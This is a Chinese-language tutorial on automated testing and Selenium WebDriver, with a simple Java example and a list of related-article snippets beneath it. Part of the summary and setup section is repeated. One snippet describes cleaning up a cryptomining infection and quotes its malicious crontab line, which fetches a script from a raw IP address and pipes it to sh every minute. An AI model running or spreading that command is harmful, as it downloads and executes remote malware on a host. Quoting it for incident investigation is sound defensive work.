自动化测试-Selenium(一),简介

自动化测试-Selenium

1. 什么是自动化测试

1.1 自动化测试介绍

自动化测试是一种通过自动化工具执行测试用例来验证软件功能和性能的过程。与手动测试不同,自动化测试使用脚本和软件来自动执行测试步骤,记录结果,并比较预期输出和实际输出。自动化测试的主要目标是提高测试效率、减少人为错误、增加测试覆盖率,并在软件开发生命周期的不同阶段提供持续反馈。

简单来说,就是将人工要做的测试工作尽心转换,让代码去执行测试工作,这样是为了提高测试效率,提高测试产品的质量。

1.2 自动化测试的优点

  1. 效率高:自动化测试可以快速执行大量的测试用例,显著减少测试时间。
  2. 重复性好:测试脚本可以反复使用,适用于回归测试,确保新版本软件没有引入新的问题。
  3. 精确度高:自动化测试可以减少人为错误,提供更可靠的测试结果。
  4. 覆盖面广:能够轻松覆盖不同的操作系统、浏览器、设备等,增加测试覆盖面。
  5. 可持续集成:自动化测试易于集成到持续集成/持续部署(CI/CD)管道中,支持持续测试和反馈。

2. 自动化测试的类型

自动化测试主要包括三大类:UI自动化测试、接口自动化测试和单元测试自动化。

2.1 UI自动化测试

概述: UI(用户界面)自动化测试通过自动化工具模拟用户在应用程序界面上的操作,验证用户界面功能是否正常。它主要关注用户与应用程序的交互,包括按钮点击、文本输入、页面导航等。

工具:

  • Selenium:广泛用于Web应用的自动化测试。
  • Appium:用于移动应用(iOS和Android)的自动化测试。
  • Cypress:现代Web测试框架,适用于前端应用的快速测试。

优点:

  • 可以模拟真实用户的操作,确保用户界面功能正常。
  • 能够在不同环境(浏览器、设备)中进行测试。

缺点:

  • 测试脚本容易受UI变化影响,需要频繁维护。
  • 执行速度相对较慢,不适合频繁变动的项目。

2.2 接口自动化测试

概述: 接口自动化测试(API测试)通过直接调用API接口,验证应用程序的业务逻辑和数据处理是否正确。它通常不涉及用户界面,主要测试应用程序的后端服务和数据交换。

工具:

  • Postman:常用的API开发和测试工具。
  • RestAssured:用于Java的RESTful服务测试框架。
  • SoapUI:用于SOAP和REST API测试的工具。

优点:

  • 不受UI变化影响,维护成本低。
  • 执行速度快,适合频繁变动的项目。
  • 可以进行功能、性能、安全等多种类型的测试。

缺点:

  • 需要了解API的实现和业务逻辑。
  • 无法直接验证用户界面的功能。

2.3 单元测试自动化

概述: 单元测试自动化通过测试应用程序的最小可测试单元(通常是一个函数或方法),确保代码的正确性和健壮性。单元测试通常由开发人员编写,并在开发过程中频繁运行。

工具:

  • JUnit:用于Java的单元测试框架。
  • NUnit:用于.NET的单元测试框架。
  • pytest:用于Python的单元测试框架。

优点:

  • 快速发现和修复代码中的错误。
  • 提供详细的代码覆盖率报告。
  • 易于集成到持续集成/持续部署(CI/CD)管道中。

缺点:

  • 需要开发人员编写测试代码。
  • 无法测试整个应用程序的集成和用户界面。

3. Selenium 介绍

3.1 什么是Selenium

Selenium 是一个开源的自动化测试框架,专门用于Web应用程序的自动化测试。它支持多种编程语言(如Java、Python、C#、Ruby等)以及多种浏览器(如Chrome、Firefox、Safari、Edge等)。Selenium 主要包括以下几个组件:

  • Selenium WebDriver:核心组件,提供跨浏览器的API,用于与浏览器交互。
  • Selenium IDE:浏览器插件,提供录制和回放功能,适合快速生成测试脚本。
  • Selenium Grid:用于分布式测试,支持在多个浏览器和操作系统上并行执行测试。
  • Selenium RC(Remote Control):Selenium 1中的组件,已被WebDriver取代,但在一些老旧系统中仍有使用。

Selenium 最广泛使用的是WebDriver,它可以直接与浏览器进行通信,模拟用户操作,进行功能测试、回归测试等。

一句话来讲就是:Selenium 是做UI自动化测试的一个工具。

3.2 为什么使用Selenium

多浏览器支持:Selenium支持多种浏览器,如Chrome、Firefox、Safari、Edge等,能够保证在不同浏览器上测试Web应用的一致性。

多语言支持:Selenium支持多种编程语言,如Java、Python、C#、Ruby等,适应不同开发团队的需求。

开源:Selenium是开源工具,不需要购买许可证,可以降低测试成本。---- 免费

跨平台支持:Selenium可以在不同的操作系统(如Windows、macOS、Linux等)上运行,具有良好的跨平台兼容性。

灵活性和可扩展性:Selenium可以与其他工具(如TestNG、JUnit、Maven、Jenkins等)集成,支持构建复杂的自动化测试框架,满足各种自动化测试需求。

社区和文档:Selenium拥有庞大的社区支持和丰富的文档资源,方便学习和解决问题。

3.3 Selenium的工作原理

Selenium WebDriver的工作原理可以分为以下几个步骤:

  1. 初始化WebDriver
    选择并初始化对应的浏览器驱动程序(如ChromeDriver、GeckoDriver等)。

  2. 启动浏览器
    WebDriver通过驱动程序启动指定的浏览器实例。

  3. 加载网页
    WebDriver命令浏览器打开指定的URL,加载网页。

  4. 执行操作
    WebDriver通过调用浏览器驱动程序,执行测试脚本中的各种操作,如查找元素、点击按钮、输入文本、提交表单等。这些操作通过浏览器驱动程序转换为相应的浏览器指令。

  5. 获取结果
    WebDriver获取操作结果,并将结果返回给测试脚本,如元素的属性值、页面的标题、文本内容等。

  6. 验证结果
    测试脚本根据预期结果对实际结果进行验证,判断测试是否通过。

  7. 关闭浏览器
    测试执行完成后,WebDriver关闭浏览器实例,释放资源。

image-20240606121859142

这里主要有三个角色:

1)自动化脚本代码(在idea里面写的代码)

2)驱动:有了这个驱动就可以对页面进行操作

3)浏览器

简单点来说,就是我们idea中的代码和浏览器是通过驱动来交互的。这个驱动就是一个中间人,idea中的代码会构造成一个请求发送给驱动,驱动收到并解析这个请求,然后就执行相应的操作。

3.4 示例

以简单的测试为例,使用Selenium WebDriver在Chrome浏览器中打开一个网页,查找元素并执行点击操作:

import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;public class SeleniumExample {public static void main(String[] args) {// 初始化WebDriverWebDriver driver = new ChromeDriver();// 打开指定的URLdriver.get("http://example.com");// 查找元素WebElement element = driver.findElement(By.xxxxx);// 执行点击操作element.click();// 关闭浏览器driver.quit();}
}

在这个示例中,ChromeDriver 启动Chrome浏览器,WebDriver加载指定的URL并查找ID为myElement的元素,执行点击操作,最后关闭浏览器。

总结

Selenium 是一个功能强大、灵活性高的自动化测试工具,能够大幅提高Web应用测试的效率和准确性。其多语言、多浏览器、跨平台支持以及广泛的社区资源,使其成为自动化测试的首选工具之一。

4. Selenium 环境搭建(Java)

在这片文章中,详细介绍了Selenium的环境搭建流程

的效率和准确性。其多语言、多浏览器、跨平台支持以及广泛的社区资源,使其成为自动化测试的首选工具之一。

4. Selenium 环境搭建(Java)

在这片文章中,详细介绍了Selenium的环境搭建流程

[Selenium环境搭建]: https://blog.csdn.net/m0_73292466/article/details/139421961

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/23297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python报错】已解决ModuleNotFoundError: No module named ‘timm’

成功解决“ModuleNotFoundError: No module named ‘timm’”错误的全面指南 一、引言 在Python编程中,经常会遇到各种导入模块的错误,其中“ModuleNotFoundError: No module named ‘timm’”就是一个典型的例子。这个错误意味着你的Python环境中没有安…

Navicate 导入导出数据库

导出数据库 找地方存在来,别忘了放在那里。 新建一个数据库,记得要和导出数据库的 字符集与排序规则 相同 打开数据库后,我们选择它(就是单击它)然后右键打开菜单-运行sql文件 找到刚才存储的位置,开始 &a…

大中小面积紫外光老化加速试验机装置

高低温试验箱,振动试验台,紫外老化试验箱,氙灯老化试验箱,沙尘试验箱,箱式淋雨试验箱,臭氧老化试验箱,换气老化试验箱,电热鼓风干燥箱,真空干燥箱,超声波清洗机,盐雾试验箱 一、产品用途 紫外光加速老化试验装置采用荧光紫外灯为光源,通过模拟自然阳光中…

oracle报错ORA-01940: cannot drop a user that is currently connected解决方法

目录 一.原因 二.解决方法 1.查询活动会话 2.记下SID和SERIAL# 3.断开会话 4.删除用户 一.原因 ORA-01940代表你正在删除一个有活动会话的用户 二.解决方法 1.查询活动会话 SQL> SELECT sid, serial#, username, programFROM v$sessionWHERE username 你要删除的u…

重写mybatisPlus自定义ID生成策略

1.项目中需要引入mybatisplus核心组件 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>${mp.version}</version></dependency> 2.新建一个类实现IdentifierGenera…

直接写和放在函数中不同的R语言用法

索引数据框中的某一列 df$A可以索引数据框df中列名为A的列的所有值。那么假如列名是一个R对象怎么做&#xff1f; df <- data.frame(A1:5, B(1:5)*2)df$A## [1] 1 2 3 4 5needed_column A# df$needed_column ? Wrong# 注意是双方括号 df[[needed_column]]## [1] 1 2 3 4…

微信小程序bindgetphonenumber获取手机号阻止冒泡触发

问题&#xff1a;点击手机号弹出微信的手机号验证组件&#xff0c;这是可以的。但是我点击车牌号&#xff0c;也弹出来了&#xff0c;这就郁闷了。 以下是解决方法 点击手机号时&#xff0c;弹出选择手机号 解决&#xff1a; <view style"display: flex;justify-conte…

Pandas处理时间差的4种表达方式

在Pandas中处理时间差&#xff08;timedelta&#xff09;时&#xff0c;有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息&#xff1a; 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…

pdf处理命令合集

安装weasyprint用于生成pdf 单个文件合成多个pdf linux - Merge / convert multiple PDF files into one PDF - Stack Overflow

除了诺贝尔奖的红利,Pasqal 还有哪些实力?

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 文丨浪味仙 排版丨沛贤 深度好文&#xff1a;3700字丨13分钟阅读 摘要&#xff1a;与超导量子比特相比&#xff0c;中性原子量子技术的投资成本相对较低、中性原子量子比特无需布线、还能将单…

【YashanDB知识库】outline固化执行计划

【问题分类】性能优化&#xff0c;功能使用 【关键字】outline 【问题描述】防止SQL执行计划突变&#xff0c;用outline固化执行计划 【问题原因分析】防止SQL执行计划突变&#xff0c;用outline固化执行计划 【解决/规避方法】 SQL--创建测试outline&#xff1a;ol_ab/ol…

查看Linux端口占用和开启端口命令

查看端口的使用的情况 lsof 命令 比如查看80端口的使用的情况 lsof -i tcp:80列出所有的端口 netstat -ntlp查看端口的状态 /etc/init.d/iptables status开启端口以开启端口80为例。 1 用命令开启端口 iptables -I INPUT -p tcp --dport 80 -j accpet --写入要开放的端口/…

23 - 每位教师所教授的科目种类的数量(高频 SQL 50 题基础版)

23 - 每位教师所教授的科目种类的数量 考点&#xff1a; 排序和分组 selectteacher_id,count(distinct subject_id) cnt fromTeacher group byteacher_id;

使用python把gif转为图片

使用python把gif转为图片 程序思路效果代码 程序思路 打开 GIF 文件。确保输出文件夹存在&#xff0c;如果不存在则创建。获取 GIF 的帧数。遍历每一帧&#xff0c;将其保存为单独的 PNG 图像&#xff0c;并打印保存路径。 效果 把这张派大星gif转为一张张图片&#xff1a; …

如何搭建一台永久运行的个人服务器?

一、前言 由于本人在这段时候&#xff0c;看到了一个叫做树莓派的东东&#xff0c;初步了解之后觉得很有意思&#xff0c;于是想把整个过程记录下来。 二、树莓派是什么&#xff1f; Raspberry Pi(中文名为树莓派,简写为RPi&#xff0c;(或者RasPi / RPI) 是为学习计算机编程…

kafka学习笔记 @by_TWJ

目录 1. 消息重复消费怎么解决1.1. 确保相同的消息不会被重复发送(消费幂等性)1.2. 消息去重1.3. 消息重试机制1.4. kafka怎么保证消息的顺序性1.4.1. 利用分区的特征&#xff1a;1.4.2. 解决办法&#xff1a;1.4.3. 分区分配策略1.4.3.1. RangeAssignor &#xff08;每组(Topi…

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务&#xff1a; * * * * * wget -q -O - http://1…

用python写一个集卡模拟器

超市最近在筹备一款水浒主题的卡牌类游戏&#xff0c;将绿林好汉设计成游戏中的一百零八张卡牌&#xff0c;卡牌共有 SSR、SR、R 三种稀有度。 你能编写程序&#xff0c;让玩家有 1% 的几率抽中 SSR 卡、9% 几率抽中 SR 卡、90% 几率抽中 R 卡吗&#xff1f; 数据说明 卡牌数…

【PLG洞察】| 飞书成功之路:关键在分销裂变

引言 随着企业服务市场的发展&#xff0c;Product-Led Growth&#xff08;PLG&#xff0c;产品驱动增长&#xff09;模式逐渐成为众多SaaS企业的首选战略。在这个背景下&#xff0c;字节跳动旗下的企业协作与管理平台——飞书&#xff0c;凭借其独特的分销裂变策略&#xff0c…

【YOLOV8】2.目标检测-训练自己的数据集

Yolo8出来一段时间了,包含了目标检测、实例分割、人体姿态预测、旋转目标检测、图像分类等功能,所以想花点时间总结记录一下这几个功能的使用方法和自定义数据集需要注意的一些问题,本篇是第二篇,目标检测功能,自定义数据集的训练。 YOLO(You Only Look Once)是一种流行的…